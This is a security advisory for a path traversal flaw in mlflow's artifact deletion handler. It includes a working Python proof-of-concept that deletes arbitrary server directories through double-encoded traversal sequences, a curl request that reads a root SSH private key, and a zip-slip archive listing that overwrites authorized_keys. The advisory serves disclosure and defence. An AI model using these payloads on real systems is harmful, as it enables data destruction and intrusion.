Path Traversal Affecting mlflow package, versions [0,]

mlflow is a platform to streamline machine learning development, including tracking experiments, packaging code into reproducible runs, and sharing and deploying models.

Affected versions of this package are vulnerable to Path Traversal due to improper sanitization of user-supplied paths in the artifact deletion functionality. An attacker can delete arbitrary directories on the server's filesystem by exploiting the double decoding process in the _delete_artifact_mlflow_artifacts handler and local_file_uri_to_path function. This vulnerability arises from an additional unquote operation in the delete_artifacts function of local_artifact_repo.py, which fails to adequately prevent path traversal sequences.

from argparse import ArgumentParser
from random import randbytes
from requests import Session
from urllib.parse import unquote

if __name__ == "__main__":
    parser = ArgumentParser()
    parser.add_argument("--url", required=True)
    parser.add_argument("--path", required=True)
    args = parser.parse_args()

    url = args.url
    ajax_api = f"{url}/ajax-api/2.0/mlflow"

    with Session() as s:
        experiment_name = "e_" + randbytes(4).hex()

        rsp = s.post(f"{ajax_api}/experiments/create", json={
           "name" : experiment_name,
        })
        experiment_id = rsp.json()["experiment_id"]

        rsp = s.post(f"{ajax_api}/runs/create", json={
            "experiment_id" : experiment_id
        })
        run_uuid = rsp.json()["run"]["info"]["run_uuid"]

        # upload an artifact to force creation of './mlartifacts' directory in servers CWD in case
        # no artifacts were uploaded before:
        rsp = s.post(f"{ajax_api}/upload-artifact?run_uuid={run_uuid}&path=xxx", data="whatever")

        dot = "%2%0952e"
        dots = dot + dot
        traverse = f"{dots}/{dots}/{dots}/{dots}/{dots}/{dots}/{dots}/{dots}/{dots}/{dots}/{dots}"
        rsp = s.delete(f'{url}/api/2.0/mlflow-artifacts/artifacts/file:{traverse}/{args.path}')
        print(rsp.text)

        rsp = s.post(f"{ajax_api}/experiments/delete", json={
            "experiment_id" : experiment_id
        })

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

• Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

• Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

• Vulnerable Code